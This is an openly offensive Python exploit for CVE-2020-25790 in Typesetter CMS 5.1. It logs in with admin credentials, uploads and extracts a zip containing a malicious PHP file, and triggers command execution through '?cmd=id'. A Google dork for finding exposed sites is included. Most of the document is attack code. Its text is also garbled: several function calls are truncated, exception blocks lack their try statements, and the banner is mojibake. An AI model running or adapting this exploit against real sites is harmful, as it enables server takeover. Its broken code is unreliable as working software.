# Exploit Title: Typesetter CMS 5.1 - Arbitrary Code Execution  
# Exploit Author: Rodolfo "t0gu" Tavares  
# Contact: @t0guu (TW)  
# Software Homepage:  
# Version : 5.1  
# Tested on: Linux / Apache  
# Category: WebApp  
# Google Dork: intext:"Powered by Typesetter"  
# Date: 2020-09-29  
# CVE : CVE-2020-25790  
######## Description ########  
# The CMS Typesetter has functionality (web interface) where it is possible  
# through an account with privileges to perform uploads. Through this  
# functionality, it is possible to upload a .zip file that contains a  
# malicious .php file. In the same functionality, there is also the  
# possibility to extract the file through the same web interface, the  
# attacker only needs to extract the .zip that was previously loaded and  
# click on the malicious .php file to execute commands in the operating  
# system.  
######## Exploit with Poc ########  
####### Code #######  
# see the poc at  
import argparse  
from bs4 import BeautifulSoup  
import requests  
import sys  
import re  
import urllib3  
from urllib3.exceptions import InsecureRequestWarning  
banner = """   
โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—   
โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ• โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ•—โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ•— โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ•—  
โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•”โ•โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ–ˆโ–ˆโ•‘  
โ–ˆโ–ˆโ•‘ โ•šโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•”โ•โ•โ•โ•šโ•โ•โ•โ•โ•โ–ˆโ–ˆโ•”โ•โ•โ•โ• โ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ•โ• โ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘โ•šโ•โ•โ•โ•โ•โ–ˆโ–ˆโ•”โ•โ•โ•โ• โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•”โ• โ•šโ•โ•โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘  
โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ• โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ• โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•  
โ•šโ•โ•โ•โ•โ•โ• โ•šโ•โ•โ•โ• โ•šโ•โ•โ•โ•โ•โ•โ• โ•šโ•โ•โ•โ•โ•โ•โ• โ•šโ•โ•โ•โ•โ•โ• โ•šโ•โ•โ•โ•โ•โ•โ• โ•šโ•โ•โ•โ•โ•โ• โ•šโ•โ•โ•โ•โ•โ•โ•โ•šโ•โ•โ•โ•โ•โ•โ• โ•šโ•โ• โ•šโ•โ•โ•โ•โ• โ•šโ•โ•โ•โ•โ•โ•   
by: t0gu  
usage: [-h] -p PASSWORD -l LOGIN -u URL  
==> Exploit for CVE 2020-25790  
optional arguments:  
-h, --help show this help message and exit  
-p PASSWORD, --password PASSWORD  
==> admin password  
-l LOGIN, --login LOGIN  
==> admin login  
-u URL, --url URL ==> main URL  
menu = argparse.ArgumentParser(description="==> Exploit for CVE 2020-25790")  
menu.add_argument("-p", "--password", required=True, help="==> admin password")  
menu.add_argument("-l", "--login", required=True, help="==> admin login")  
menu.add_argument("-u", "--url", required=True, help="==> main URL")  
menu.add_argument("-f", "--file", required=True, help="==> Malicous zip file with php file inside")  
args = menu.parse_args()  
login = args.login  
password = args.password  
url = args.url  
file = args.file  
PROXIES = proxies = {  
"http": "",  
"https": "",  
class Exploit:  
def __init__(self, login, password, url, file):  
self.login = login  
self.password = password  
self.url = url  
self.user_agent = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari"  
self.file = open(file, 'rb')  
def get_nounce(self):  
url = self.url + "/Admin"  
r = requests.get(url=url, headers={'User-Agent': self.user_agent}, timeout=3, verify=False)  
data = r.text  
soap_obj = BeautifulSoup(data, 'html.parser')  
for inp in soap_obj.find_all("input"):  
for v in inp:  
nounce = v['value']  
if nounce != None or nounce != "":  
return nounce  
except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:  
print(f'==> Error {e}')  
def get_hash_folders(self):  
cookie_auth = self.get_cookies()  
hash_verified = self.get_verified()  
data_post = {'verified': hash_verified, 'cmd': 'open', 'target':'', 'init': 1, 'tree': 1}  
url = self.url + "/Admin_Finder"  
r =, data=data_post, headers={'User-Agent': self.user_agent, 'Cookie': cookie_auth}, timeout=10, verify=False)  
json_data = r.json()  
hash_dir = json_data['files'][2]['hash']  
return hash_dir  
except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:  
print(f'==> Error {e}')  
def get_cookies(self):  
nounce = self.get_nounce()  
if nounce:  
url = self.url + "/Admin"  
data_post = {'file': '', 'cmd': 'login', 'login_nonce': nounce, 'username': self.login, 'user_sha': '',  
'password': self.password, 'pass_md5': '', 'pass_sha': '', 'pass_sha512': '',  
'remember': 'on', 'verified': ''}  
r =, verify=False, timeout=3, data=data_post, allow_redirects=False,  
headers={'User-Agent': self.user_agent, 'Cookie': 'g=2'})  
cookie_admin = r.headers['Set-Cookie']  
cookie_name = cookie_admin.split(':')[0].split('=')[0]  
cookie_value = cookie_admin.split(':')[0].split('=')[1].split(';')[0]  
if cookie_name == None or cookie_name == "":  
if cookie_value == None or cookie_value == "":  
print("==> Something went wrong while login")  
data = f"{cookie_name}={cookie_value};"  
return data  
except (requests.exceptions.Timeout, requests.exceptions.BaseHTTPError) as e:  
print(f'==> Error while login {e}')  
def upload_zip(self):  
url = self.url + '/Admin_Finder'  
hash_verified = self.get_verified()  
hash_dir = self.get_hash_folders()  
auth_cookie = self.get_cookies()  
print(f"==> Uploading file: {self.file}")  
data = {'cmd': "upload", "target": hash_dir, "verified": hash_verified}  
r =, verify=False, timeout=10,  
headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, data=data, files={'upload[]': self.file})  
hash_file = r.json()['added'][0]['hash']  
self.extract_file(auth_cookie, hash_file, hash_verified)  
except (requests.exceptions.HTTPError, requests.exceptions.Timeout) as e:  
print(f"==> Error while uploading {e}")  
def extract_file(self, auth_cookie, hash_file, hash_verified):  
data_post={'verified': hash_verified, 'cmd': 'extract', 'target': hash_file}  
url = self.url + "/Admin_Finder"  
r =, data=data_post, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False)  
name_file = r.json()['added'][0]['name']  
print(f"==> All Hashes are collected from: {name_file}")   
except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:  
print(f'==> Error {e}')  
def xpl(self, auth_cookie, name_file):  
url = self.url + "/data/_uploaded/file/" + name_file + "?cmd=id"  
new_url = url.replace("index.php", "")  
print(f"==> Try to exploit: {new_url}")  
r = requests.get(url=new_url, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False)  
pattern = r'<pre>(.*?)</pre>'  
m =, r.text.replace("\n", ""))  
if m is not None and m != "":  
print(f"==> Vulnerable: {}")  
except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:  
print(f'==> Error {e}')  
def get_verified(self):  
url = self.url + "/Admin/Uploaded"  
auth_cookie = self.get_cookies()  
r = requests.get(url=url, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False)  
data = r.text  
pattern_regex = r'"verified":"(.*)"}'  
m =, data)  
if m is not None or m != "":  
except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:  
print(f'==> Error {e}')  
if __name__ == "__main__":  
obj = Exploit(login, password, url, file)